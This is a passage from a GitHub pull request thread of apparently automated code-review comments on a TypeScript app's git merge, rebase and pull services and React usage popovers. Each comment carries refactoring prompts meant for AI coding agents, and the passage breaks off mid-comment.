Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 42 - 173, runRebase currently doesn't accept or emit events; add an optional EventEmitter parameter (e.g., events?: EventEmitter) and use createEventEmitter() from lib/events.ts when none is provided, then emit lifecycle events consistent with sibling services: emit 'start' (include worktreePath, branch/currentBranch, ontoBranch) right before calling execGitCommand; on success emit 'done' or 'success' with the result object; in the catch block emit an 'error' event with the error and context (include conflictFiles, hasConflicts, aborted if applicable) before returning or throwing; also emit an event when abortRebase is invoked (e.g., 'abort' or include abort result) so the frontend can track rebase -> abort transitions; reference runRebase, execGitCommand, abortRebase, getConflictFiles, and createEventEmitter when making changes.apps/server/src/services/pull-service.ts (1)
312-313: Pull conflict detection lacksLC_ALL=C— locale-sensitive.
execGitCommandat line 313 doesn't passLC_ALL=C, andisConflictErrorat line 333 relies on English strings ('CONFLICT','Automatic merge failed'). On non-English systems, conflicts may go undetected.rebase-service.tssets this correctly — apply the same pattern here.Proposed fix
- const pullOutput = await execGitCommand(pullArgs, worktreePath); + const pullOutput = await execGitCommand(pullArgs, worktreePath, { LC_ALL: 'C' });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/pull-service.ts` around lines 312 - 313, The pull conflict detection can miss non-English git messages because execGitCommand is called without forcing English; update the pull flow so the execGitCommand invocation that runs the pull (using pullArgs and worktreePath in pull-service.ts) includes an environment override setting LC_ALL=C (same approach used in rebase-service.ts) so isConflictError continues to match English strings like 'CONFLICT' and 'Automatic merge failed'; ensure the env merge preserves existing env vars and only adds LC_ALL=C for that exec.apps/server/src/lib/git.ts (1)
135-161:removeStaleIndexLockcannot distinguish stale locks from active ones.The function removes any
index.lockit finds, but git's lock files can belong to a legitimately running concurrent operation. Removing an active lock could corrupt the index. The single-retry semantics inexecGitCommandWithLockRetrylimit blast radius, but consider adding a brief comment noting this trade-off, or optionally checking the lock file's age (e.g., skip if modified within the last few seconds).🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/lib/git.ts` around lines 135 - 161, The current removeStaleIndexLock implementation unconditionally deletes index.lock and can remove an active git lock; update removeStaleIndexLock to first stat the lock file and skip removal if its mtime is recent (e.g., modified within the last 5–10 seconds), logging that the lock was ignored, otherwise proceed to unlink and log removal; also add a brief comment referencing the trade-off and mention execGitCommandWithLockRetry so future readers understand the limited retry semantics.apps/server/src/services/merge-service.ts (2)
113-158: Merge conflict detection relies solely on text matching withoutLC_ALL=C.Unlike
rebase-service.tswhich usesLC_ALL=Cand a three-layer conflict detection strategy, the merge command at line 114 doesn't setLC_ALL=C, and conflict detection at line 119 relies only on English string matching ('CONFLICT','Automatic merge failed'). On systems with non-English locales, this could miss conflicts.Pass LC_ALL=C for locale-safe detection
- await execGitCommand(mergeArgs, projectPath); + await execGitCommand(mergeArgs, projectPath, { LC_ALL: 'C' });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` around lines 113 - 158, Merge conflict detection in the merge flow uses plain text matching and can miss non-English output; update the execGitCommand invocations used for the merge attempt (where mergeArgs and projectPath are passed to execGitCommand) and for the diff listing (the ['diff','--name-only','--diff-filter=U'] call) to pass an environment with LC_ALL=C so git emits locale-stable English output, then re-run conflict detection against that output; additionally follow the rebase-service pattern by falling back to checking git exit status / unmerged paths (e.g., run a locale-stable git status or the diff command) to determine conflicts when simple string matching fails, and keep emitting the same emitter events (emitter.emit('merge:conflict' / 'merge:error')) and returning conflictFiles from the diff output captured under LC_ALL=C.
36-42: Consolidate branch name validation to prevent divergence.Three implementations of
isValidBranchNameexist with inconsistent rules:
apps/server/src/routes/worktree/common.ts(exported) — lacks..checkapps/server/src/services/merge-service.ts— includes..checkapps/server/src/routes/worktree/routes/branch-commit-log.ts— has additional NUL byte and..checks with a different regex patternThe exported version in
common.tsis the most permissive and missing the..traversal defense present in the service implementations. Create a canonical validation function in a shared module (e.g.,common.tsor@automaker/utils) and import it consistently across all callsites.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` around lines 36 - 42, Multiple inconsistent implementations of isValidBranchName cause divergent rules (missing .. check, differing regex/NUL checks); extract a single canonical validator (e.g., export function isValidBranchName from the shared common module or `@automaker/utils`) that enforces: allowed chars (alphanumeric, dot, underscore, slash, dash where intended), rejects '..' and NUL, has the same length limit, and use that exported function everywhere instead of the local ones (replace local isValidBranchName in merge-service, branch-commit-log, and the other route file with an import of the canonical isValidBranchName).apps/server/src/services/worktree-branch-service.ts (1)
184-196:isRemoteBranchsilently swallows errors, inconsistent withhasAnyChanges.
hasAnyChangeswas updated to log errors before returningfalse;isRemoteBranchfollows the same fallback pattern but without logging. The fallback is safe (a remote branch just gets treated as non-remote, then fails thelocalBranchExistscheck), but the lack of logging can make debugging harder.Add logging
- } catch { - return false; + } catch (err) { + logger.warn('isRemoteBranch: failed to list remote branches', { cwd, error: getErrorMessage(err) }); + return false; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-branch-service.ts` around lines 184 - 196, The isRemoteBranch function currently swallows errors; update its catch block to log the error (use the same logger used in hasAnyChanges, e.g., processLogger) including context like branchName and cwd before returning false; specifically, inside isRemoteBranch replace the empty catch with a processLogger.error call that includes a descriptive message and the caught error (and any relevant variables), then return false as before so behavior remains unchanged.apps/server/src/providers/codex-provider.ts (1)
885-889: Error message listing all 11 model IDs is very verbose — consider linking to docs instead.
CODEX_MODELS.map((m) => m.id).join(', ')produces a ~200+ character string inline in an error toast. A link to the model docs is more maintainable and user-friendly.♻️ Proposed refactor
- `Available models include: ${CODEX_MODELS.map((m) => m.id).join(', ')}. ` + + `See available models at https://platform.openai.com/docs/models. ` +🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/codex-provider.ts` around lines 885 - 889, The error message currently in the enhancedError construction embeds the full list from CODEX_MODELS.map((m) => m.id).join(', '), which is too verbose for a toast; update the enhancedError string (the block that builds enhancedError using options.model and CODEX_MODELS) to remove the inline model list and instead point users to the OpenAI models docs (e.g., "See https://platform.openai.com/docs/models for available models") and keep the tip about authenticating with 'codex login' when necessary; ensure you still reference options.model in the message for context but drop the CODEX_MODELS.map(...) expansion.apps/ui/src/components/usage-popover.tsx (3)
238-347: Pre-existingProgressBar+UsageCardinner-component issue — same fix applies hereBoth
ProgressBar(lines 238–260) andUsageCard(lines 262–347) are defined insideUsagePopover, and are near-identical to the equivalents incodex-usage-popover.tsx. The same unmount+remount issue (brokentransition-all duration-500) and the DRY violation described in thecodex-usage-popover.tsxcomment above apply here. Extracting them into a shared module resolves both files simultaneously.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 238 - 347, ProgressBar and UsageCard are defined inside UsagePopover which causes remounts (breaking the "transition-all duration-500" animation) and duplicates code from codex-usage-popover.tsx; extract both ProgressBar and UsageCard into a new shared component module (e.g., export named components) and replace the inline definitions by importing ProgressBar and UsageCard into UsagePopover, ensuring prop signatures (percentage, colorClass, pacePercentage for ProgressBar; title, subtitle, percentage, resetText, isPrimary, stale, pacePercentage for UsageCard) remain identical so behavior and transitions are preserved and DRY is enforced.
352-383:_codexMaxPercentageand_codexWindowLabelare dead computed valuesBoth variables are prefixed with
_(intentionally unused), yet still evaluated on every render. Remove them to keep the code clean.♻️ Proposed fix
- const _codexMaxPercentage = codexUsage?.rateLimits - ? Math.max( - codexUsage.rateLimits.primary?.usedPercent || 0, - codexUsage.rateLimits.secondary?.usedPercent || 0 - ) - : 0; - const zaiMaxPercentage = …- const _codexWindowLabel = codexWindowMinutes - ? getCodexWindowLabel(codexWindowMinutes).title - : 'Window'; const codexWindowUsage = …🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 352 - 383, Remove the unused computed values: delete the declarations and any associated computation for _codexMaxPercentage and _codexWindowLabel (and related intermediate consts only used by them, e.g., codexPrimaryWindowMinutes, codexSecondaryWindowMinutes, codexWindowMinutes) from the component so they are not evaluated on every render; keep getProgressBarColor and any other usage of codexUsage intact, and confirm there are no remaining references to _codexMaxPercentage or _codexWindowLabel elsewhere in the file before committing.
58-61: "Legacy alias" comment is misleading —formatCodexResetTimeis still actively usedThe function at line 59 is called at lines 687 and 708. Labeling it "legacy" implies it is slated for removal, which could mislead a future maintainer into deleting it and breaking those two call sites. Either remove the wrapper (and call
formatResetTime(ts, false)directly) or drop the "legacy" label.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 58 - 61, The "Legacy alias" comment on formatCodexResetTime is misleading because formatCodexResetTime(unixTimestamp) is still used; either delete the wrapper function formatCodexResetTime and update all call sites to call formatResetTime(unixTimestamp, false) directly, or keep the wrapper but remove/replace the "Legacy alias" comment with a current-purpose comment; locate the helper function formatCodexResetTime and the usages of formatCodexResetTime(...) and perform the chosen change consistently.apps/ui/src/components/codex-usage-popover.tsx (2)
193-204:pacePercentage ?? 0fallback is unreachable in this branch
paceLabelis only truthy whenisValidPercentage && pacePercentage != null(line 152–155), so inside the{paceLabel ? (…)}blockpacePercentageis guaranteed non-null. The?? 0default on line 197 is dead code.♻️ Simplification
- safePercentage > (pacePercentage ?? 0) ? 'text-orange-500' : 'text-green-500' + safePercentage > pacePercentage! ? 'text-orange-500' : 'text-green-500'🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/codex-usage-popover.tsx` around lines 193 - 204, The conditional fallback "?? 0" in the expression safePercentage > (pacePercentage ?? 0) is unreachable because paceLabel is only truthy when pacePercentage is non-null; update the comparison to use pacePercentage directly (safePercentage > pacePercentage) and remove the unnecessary null-coalescing fallback. Locate the JSX block rendering paceLabel (references: paceLabel, pacePercentage, safePercentage, cn) and simplify the className conditional accordingly so it no longer includes "?? 0".
104-127: ExtractProgressBarandUsageCardout of the parent component to fix broken CSS transitions and eliminate duplicationBoth
ProgressBar(newly added in this PR, lines 104–127) andUsageCard(pre-existing, lines 129–214) are defined as closures insideCodexUsagePopover. On every re-render of the parent, React sees a new component type for each and performs a full unmount+remount cycle. This destroys thetransition-all duration-500CSS animation on the fill<div>insideProgressBar— the bar jumps to the new width instead of animating, because the DOM node is recreated with no prior state.Additionally,
ProgressBarandUsageCardare near-identical duplicates of the same inner components inusage-popover.tsx. Extracting them into a shared module (e.g.,apps/ui/src/components/ui/usage-progress-card.tsx) removes both problems at once.♻️ Proposed extraction (minimal example)
+// apps/ui/src/components/ui/usage-progress-card.tsx + +// … shared ProgressBar and UsageCard components here … +-// codex-usage-popover.tsx and usage-popover.tsx - const ProgressBar = ({ … }) => (…); - const UsageCard = ({ … }) => { … }; +import { ProgressBar, UsageCard } from '@/components/ui/usage-progress-card';Also applies to: 129-214
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/codex-usage-popover.tsx` around lines 104 - 127, ProgressBar and UsageCard are defined as closures inside CodexUsagePopover causing React to recreate the component type on each render and break the CSS transition; extract both into a top-level shared component (e.g., a new UsageProgressCard component) exported from a separate module and import them into CodexUsagePopover and the other usage-popover usage to remove duplication. Move the ProgressBar function (preserving props: percentage, colorClass, pacePercentage and the transition-all duration-500 class and width/style logic) and the UsageCard implementation out of CodexUsagePopover, export them as named components, update the caller to pass the same props, and remove the duplicate implementations so both files import the single shared component. Ensure prop types/signatures remain unchanged so behavior and styling (including the pace indicator left style and title) are preserved.
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 12
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx (1)
199-234:⚠️ Potential issue | 🟠 MajorDouble-submit / race condition:
isCreatingisfalsethroughout thecheckChangespre-checkWhile the async
checkChangescall is in-flight (lines 213–226),isCreatingis stillfalse. The Create button remains enabled, so rapid clicks or repeated Enter presses can fire multiple concurrenthandleCreatecalls — each potentially callingdoCreateor opening the stash dialog simultaneously.Add an early guard at the top of
handleCreateusingisCreatingor a separateisCheckingflag, and disable the button accordingly:🐛 Proposed fix (minimal — reuse `isCreating`)
const handleCreate = async () => { - if (!worktree || !branchName.trim()) return; + if (!worktree || !branchName.trim() || isCreating) return; const invalidChars = /[\s~^:?*[\]\\]/; if (invalidChars.test(branchName)) { setError('Branch name contains invalid characters'); return; } setError(null); + setIsCreating(true); try { const api = getHttpApiClient(); const changesResult = await api.worktree.checkChanges(worktree.path); if (changesResult.success && changesResult.result?.hasChanges) { setUncommittedChanges({ staged: changesResult.result.staged, unstaged: changesResult.result.unstaged, untracked: changesResult.result.untracked, totalFiles: changesResult.result.totalFiles, }); setShowStashConfirm(true); + setIsCreating(false); // doCreate will re-set it when user confirms return; } } catch (err) { logger.warn('Failed to check for uncommitted changes, proceeding without stash:', err); } - doCreate(false); + // isCreating already true; doCreate takes over from here + // Reset and re-enter to let doCreate manage its own loading lifecycle + setIsCreating(false); + doCreate(false); };Alternatively, introduce a separate
isCheckingstate to keep the concern clean and avoid settingisCreatingbeforedoCreatedoes:+ const [isChecking, setIsChecking] = useState(false); // ... // Button: - <Button onClick={handleCreate} disabled={!branchName.trim() || isCreating}> + <Button onClick={handleCreate} disabled={!branchName.trim() || isCreating || isChecking}>🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` around lines 199 - 234, The handleCreate function can fire multiple concurrent runs because isCreating remains false during the async checkChanges call; add an early guard that returns if isCreating (or isChecking) is true, set that flag to true before awaiting api.worktree.checkChanges and clear it on all early returns/after errors so only one execution proceeds, and ensure the Create button is bound to that flag (disabled when true); keep doCreate unchanged but only call doCreate when the flag is set and preserved across the pre-check to prevent double-submit/race conditions.apps/server/src/services/merge-service.ts (1)
40-47:⚠️ Potential issue | 🔴 CriticalRoute handler correctly passes
events, but pipeline orchestrator does not.The
merge.tsroute handler correctly forwards theeventsemitter toperformMerge(line 44). However,pipeline-orchestrator.tscallsperformMergeat line 515 without passing theeventsparameter, leaving theemitterundefined during pipeline execution. Update the pipeline orchestrator'sperformMergecall to pass the event emitter for proper WebSocket streaming:const result = await performMerge( projectPath, branchName, worktreePath || projectPath, targetBranch || 'main', { deleteWorktreeAndBranch: false }, events // Add this parameter );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` around lines 40 - 47, The pipeline orchestrator is calling performMerge(...) without the emitter, so WebSocket event streaming is lost; update the performMerge invocation in the pipeline orchestrator to pass the EventEmitter instance (the events variable) as the sixth argument (after options) when calling performMerge(projectPath, branchName, worktreePath || projectPath, targetBranch || 'main', { deleteWorktreeAndBranch: false }, events) so the performMerge function receives the emitter parameter and can stream events.
🧹 Nitpick comments (12)
apps/ui/src/components/ui/git-diff-panel.tsx (2)
641-665: Bulk handlers lack theworktreePathguard that per-file handlers have.
handleStageFile/handleUnstageFileexplicitly checkuseWorktrees && !worktreePathand surface a descriptive error ("worktreePath required when useWorktrees is enabled"). The bulk handlers skip this, falling through to a generic"Stage API not available"toast. Consider adding the same guard for a consistent UX.Proposed fix
const handleStageAll = useCallback(async () => { + if (enableStaging && useWorktrees && !worktreePath) { + toast.error('Failed to stage all files', { + description: 'worktreePath required when useWorktrees is enabled', + }); + return; + } const allPaths = files.map((f) => f.path); if (allPaths.length === 0) return;Apply the same pattern to
handleUnstageAll.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 641 - 665, The bulk handlers handleStageAll and handleUnstageAll are missing the worktree guard that handleStageFile/handleUnstageFile use; add a precondition that if useWorktrees && !worktreePath then show the same descriptive error toast ("worktreePath required when useWorktrees is enabled") and return early (do not call executeStagingAction), preserving the existing staging progress updates (setStagingInProgress) only when the guard passes so behavior matches the per-file handlers.
922-951:getStagingState(file)called twice in the fallback controls — extract to a variable.Lines 926–927 evaluate
getStagingState(file)twice in the same ternary. While cheap, extracting it mirrors the pattern already used inFileDiffSection(line 349) and avoids the repeated call.Proposed fix
{enableStaging && ( - <div className="flex items-center gap-1 ml-1"> - {stagingInProgress.has(file.path) ? ( - <Spinner size="sm" /> - ) : getStagingState(file) === 'staged' || - getStagingState(file) === 'partial' ? ( + <div className="flex items-center gap-1 ml-1"> + {(() => { + const state = getStagingState(file); + if (stagingInProgress.has(file.path)) return <Spinner size="sm" />; + return state === 'staged' || state === 'partial' ? ( <Button variant="ghost" size="sm" className="h-6 px-2 text-xs" onClick={() => handleUnstageFile(file.path)} title="Unstage file" > <Minus className="w-3 h-3 mr-1" /> Unstage </Button> ) : ( <Button variant="ghost" size="sm" className="h-6 px-2 text-xs" onClick={() => handleStageFile(file.path)} title="Stage file" > <Plus className="w-3 h-3 mr-1" /> Stage </Button> - )} + ); + })()} </div> )}🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 922 - 951, Extract the repeated call to getStagingState(file) into a local variable (e.g., const stagingState = getStagingState(file)) inside the JSX block guarded by enableStaging, then replace both uses of getStagingState(file) in the ternary with that variable; keep existing checks against stagingInProgress.has(file.path) and the onClick handlers handleUnstageFile(file.path) and handleStageFile(file.path) unchanged so the behavior remains the same (follow the same pattern used in FileDiffSection).apps/server/src/services/pull-service.ts (1)
77-84: Rename entries will produceold -> newinstead of a clean filename.
git status --porcelainoutputs renames asR old -> new.substring(3)yields the fullold -> newstring. IflocalChangedFilesis only informational for the UI this is cosmetic, but if it's ever used for file-system operations it would break.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/pull-service.ts` around lines 77 - 84, The parsing of git output where localChangedFiles is built (using statusOutput, hasLocalChanges and substring(3)) doesn't handle rename entries like "R old -> new"; update the mapping logic that derives filenames from each status line to detect the "->" token and, when present, take the target/new filename (right-hand side) after trimming, otherwise keep the substring(3). Ensure the same code still trims empty lines and preserves behavior for non-rename entries.apps/server/src/services/auto-mode/facade.ts (1)
195-278:createRunAgentFnouter factory wrapper is unnecessary; creates two identical closures.The outer
() =>takes no parameters and captures the same closed-over variables every time. Calling it twice (lines 295 and 343) allocates two separate but functionally equivalent function instances. Simplify to a single constant and share it:♻️ Proposed simplification
- const createRunAgentFn = - () => - async ( + const runAgentFn = async ( workDir: string, ... - ): Promise<void> => { + ): Promise<void> => { ... - }; + }; const pipelineOrchestrator = new PipelineOrchestrator( ... - createRunAgentFn() + runAgentFn ); ... const executionService = new ExecutionService( ... - createRunAgentFn(), + runAgentFn, ... );Additionally, the explicit casts on lines 246–252 (
as PlanningMode | undefined,as boolean | undefined, etc.) are redundant — TypeScript resolves named properties in theoptsliteral type to their declared types, not to the index-signatureunknown. They can be removed for clarity.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 195 - 278, The createRunAgentFn is wrapped in an unnecessary outer factory (() => async(...)) producing duplicate closures; replace it with a single async function (e.g., const createRunAgentFn = async (workDir, featureId, prompt, abortController, pPath, imagePaths?, model?, opts?) => { ... }) and update call sites to call that function directly. While doing this, remove the redundant explicit casts on the opts properties when building the agentExecutor.execute payload (remove as PlanningMode | undefined, as boolean | undefined, as string | undefined, as ThinkingLevel | undefined, as string | null | undefined, etc.) so you pass opts?.planningMode, opts?.requirePlanApproval, opts?.previousContent, opts?.systemPrompt, opts?.autoLoadClaudeMd, opts?.thinkingLevel, opts?.branchName directly; keep the rest of the object and callbacks (provider, effectiveBareModel, credentials, claudeCompatibleProvider, and the buildTaskPrompt closure) unchanged.apps/server/src/services/rebase-service.ts (2)
193-195:logger.warnreceives an unstructured second argument.
err.message(a string) or the rawerrobject is passed as a positional argument rather than a keyed metadata object. Most logger adapters expect(message: string, meta?: object).♻️ Proposed fix
- logger.warn('Failed to abort rebase after conflict', err instanceof Error ? err.message : err); + logger.warn('Failed to abort rebase after conflict', { error: getErrorMessage(err), worktreePath });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 193 - 195, The logger.warn call in the catch block of the rebase flow passes an unstructured second argument; update the call in the RebaseService (the catch that currently calls logger.warn('Failed to abort rebase after conflict', err instanceof Error ? err.message : err)) to pass structured metadata instead (e.g., logger.warn('Failed to abort rebase after conflict', { error: err instanceof Error ? { message: err.message, stack: err.stack } : err })), so the logger receives an object as the meta parameter and preserves message and stack when err is an Error.
178-180: Re-throwing breaks the uniformPromise<RebaseResult>contract.For non-conflict errors the function rejects the returned promise rather than resolving with
{ success: false }. Every caller ofrunRebase()must therefore handle both a resolvedRebaseResultand an uncaught rejection, which the function signature does not convey. The rest of the error paths (input validation,getCurrentBranchfailure, conflicts) all return structured results.♻️ Proposed fix
- // Non-conflict error - propagate - throw rebaseError; + // Non-conflict git error – surface as a structured result + return { + success: false, + error: getErrorMessage(rebaseError), + branch: currentBranch, + ontoBranch, + };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 178 - 180, The function runRebase rejects by re-throwing non-conflict errors (throw rebaseError) which breaks the declared Promise<RebaseResult> contract; instead catch or replace that throw with returning a structured RebaseResult (e.g., { success: false, error: rebaseError } or the project's equivalent) so all error paths resolve to a RebaseResult; update the throw site in runRebase (where rebaseError is thrown) to return the unified failure object and ensure callers still receive a Promise<RebaseResult>.apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx (1)
44-48:BranchInfois duplicated — import the shared type fromworktree-panel/types.tsAn identical
BranchInfointerface already exists inapps/ui/src/components/views/board-view/worktree-panel/types.ts. Redeclaring it locally creates a divergence risk.♻️ Proposed refactor
- interface BranchInfo { - name: string; - isCurrent: boolean; - isRemote: boolean; - }And add to the imports:
+ import type { BranchInfo } from '../worktree-panel/types';🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` around lines 44 - 48, Remove the duplicated BranchInfo interface from create-branch-dialog.tsx and import the shared BranchInfo type from the existing worktree-panel types module instead; update the file's imports to pull BranchInfo from the worktree-panel/types.ts module and ensure all usages in the CreateBranchDialog (and any local references) use the imported type rather than the local declaration.apps/server/src/services/merge-service.ts (2)
152-168:conflictFilesstaysundefinedwhen only Layer 3 detects conflicts.If Layer 2 (
git diff --name-only) succeeds but returns no output (e.g., an unusual unresolved state),conflictFilesremainsundefinedwhilehasConflictsistrue. Since the Layer 3 loop already isolates the unmerged lines, extracting filenames there is straightforward and covers the gap.♻️ Proposed fix
- let hasUnmergedPaths = false; + let hasUnmergedPaths = false; + const unmergedLines: string[] = []; try { const statusOutput = await execGitCommand(['status', '--porcelain'], projectPath, { LC_ALL: 'C', }); - hasUnmergedPaths = statusOutput - .split('\n') - .some((line) => /^(UU|AA|DD|AU|UA|DU|UD)/.test(line)); + const matched = statusOutput + .split('\n') + .filter((line) => /^(UU|AA|DD|AU|UA|DU|UD)/.test(line)); + hasUnmergedPaths = matched.length > 0; + if (hasUnmergedPaths && !conflictFiles) { + conflictFiles = matched.map((line) => line.slice(3).trim()); + } } catch { // git status failing is itself a sign something is wrong; leave // hasUnmergedPaths as false and rely on the other layers. }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` around lines 152 - 168, When Layer 3 (statusOutput from execGitCommand) indicates unmerged paths but conflictFiles is still undefined, parse the statusOutput lines that match the unmerged prefix (/^(UU|AA|DD|AU|UA|DU|UD)/) to extract the filenames (everything after the two-status chars and optional whitespace), deduplicate and assign them to conflictFiles before computing hasConflicts; update the block around statusOutput/hasUnmergedPaths to set conflictFiles = parsedFiles (trim lines, ignore empty entries) so conflicts are reported correctly when only Layer 3 detects them.
7-9: ImportexecGitCommandfrom@automaker/git-utilsinstead of the local relative path.The
@automaker/git-utilspackage is already a declared dependency and contains an identical implementation. Maintaining both creates unnecessary duplication.♻️ Proposed fix
-import { execGitCommand } from '../lib/git.js'; +import { execGitCommand } from '@automaker/git-utils';Per coding guidelines: "Always import from shared packages (
@automaker/*), never from old paths or relative imports to other modules" and "Git operations for feature execution should use@automaker/git-utils."🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` around lines 7 - 9, The import of execGitCommand in merge-service.ts uses a local relative path; replace that import to pull execGitCommand from the shared package `@automaker/git-utils` instead. Update the import statement that currently references ../lib/git.js so the module imports execGitCommand from '@automaker/git-utils' (leaving createLogger and isValidBranchName unchanged) to remove duplication and follow the shared-package guideline.apps/ui/src/components/usage-popover.tsx (2)
243-246: Trivial pass-through wrappers add no value — use therefetch*functions directly
fetchZaiUsage/fetchGeminiUsage(and the existingfetchClaudeUsage/fetchCodexUsage) are pure forwarding wrappers that create extra function references on every render.♻️ Proposed simplification
- const fetchClaudeUsage = () => refetchClaude(); - const fetchCodexUsage = () => refetchCodex(); - const fetchZaiUsage = () => refetchZai(); - const fetchGeminiUsage = () => refetchGemini();Then inline at call sites, e.g.:
- onClick={() => !zaiLoading && fetchZaiUsage()} + onClick={() => !zaiLoading && refetchZai()}🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 243 - 246, The four functions fetchClaudeUsage, fetchCodexUsage, fetchZaiUsage, and fetchGeminiUsage are trivial pass-through wrappers around refetchClaude, refetchCodex, refetchZai, and refetchGemini and only create extra function references each render; remove these wrapper functions and replace their call sites to invoke the corresponding refetch* functions directly (e.g., call refetchZai instead of fetchZaiUsage) so you eliminate unnecessary indirection and allocations.
371-376: Remove unused_codexMaxPercentageand_codexWindowLabeldead-code variablesBoth variables are computed on every render but never consumed — the
_prefix only suppresses the TypeScript warning without addressing the root cause.🗑️ Proposed removal
- const _codexMaxPercentage = codexUsage?.rateLimits - ? Math.max( - codexUsage.rateLimits.primary?.usedPercent || 0, - codexUsage.rateLimits.secondary?.usedPercent || 0 - ) - : 0; - const zaiMaxPercentage = zaiUsage?.quotaLimits- const _codexWindowLabel = codexWindowMinutes - ? getCodexWindowLabel(codexWindowMinutes).title - : 'Window'; const codexWindowUsage =Also applies to: 400-402
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 371 - 376, Remove the dead-code variables `_codexMaxPercentage` and `_codexWindowLabel` from the UsagePopover component: delete their declarations and any associated unused computations that derive from `codexUsage` (e.g., the Math.max call and any window label logic), ensuring no other code references `_codexMaxPercentage` or `_codexWindowLabel` remain; if TypeScript then let the compiler/IDE remove resulting unused imports or adjust code that expected those values (use `codexUsage` directly where needed).apps/server/src/services/checkout-branch-service.ts (1)
62-148: Extract shared branch-operation helpers to avoid duplication withworktree-branch-service.ts.
hasAnyChanges,stashChanges,popStash, andlocalBranchExistsare all defined here and inworktree-branch-service.ts(~90 lines duplicated). Beyond the maintenance cost, the twohasAnyChangesimplementations already diverge: the one inworktree-branch-service.tsfilters out.worktrees/lines viaisExcludedWorktreeLine, while this one does not — meaning a checkout operation in a worktree context would incorrectly treat worktree-internal paths as changes requiring stashing.Consider extracting these helpers to a shared module (e.g.,
apps/server/src/lib/branch-utils.tsorapps/server/src/services/stash-utils.ts) with a single, unifiedhasAnyChanges(cwd, options?)that accepts an optionalexcludeWorktreePathsflag.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/checkout-branch-service.ts` around lines 62 - 148, Extract the duplicated helpers into a shared module (e.g., branch-utils) and have both checkout-branch-service and worktree-branch-service import them: move implementations of hasAnyChanges, stashChanges, popStash, and localBranchExists into the new module; change hasAnyChanges signature to accept an options flag (e.g., excludeWorktreePaths: boolean) and reuse the worktree implementation’s isExcludedWorktreeLine filtering when that flag is true so worktree-internal paths are ignored; update both services to call the shared hasAnyChanges(cwd, { excludeWorktreePaths: true/false }) and remove the duplicate functions from those files, preserving existing error handling and logging behavior.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 924-926: The current CLI error detection uses the overly broad
condition involving errorLower.includes('not found') which triggers for
filesystem messages; update the check that builds the CLI install tip (the
branch using errorLower and the condition with 'command not found' and 'not
found') to remove or restrict the generic "not found" check and only match
CLI-specific phrases (e.g., keep errorLower.includes('command not found') and
add platform variants like Windows "is not recognized as an internal or external
command") so filesystem errors like "file not found" or "no such file or
directory" do not produce the CLI install suggestion; locate the condition
around errorLower in the function that composes the CLI tip and tighten the
string-matching logic accordingly.
- Around line 204-208: isSdkEligibleWithApiKey currently sends requests to SDK
mode even when options.allowedTools is set, causing tool constraints to be
ignored downstream (executeCodexSdkQuery). Update isSdkEligibleWithApiKey to
include the same tools guard used by isSdkEligible by returning
!hasMcpServersConfigured(options) && isNoToolsRequested(options) (or equivalent
check), so requests that specify allowedTools continue to route to CLI/SDK paths
that honor allowedTools; alternatively, if SDK should support tools, ensure
executeCodexSdkQuery accepts and enforces options.allowedTools. Reference:
isSdkEligibleWithApiKey, isNoToolsRequested, executeCodexSdkQuery,
options.allowedTools.
In `@apps/server/src/routes/worktree/common.ts`:
- Around line 68-72: Update isValidRemoteName to match the stricter validation
used in add-remote.ts: reject any '/' characters, disallow names that start with
'-' or '.', forbid the substring '..', reject NUL bytes, and keep the existing
length bounds; essentially replace the permissive /^[a-zA-Z0-9._\-/]+$/ check in
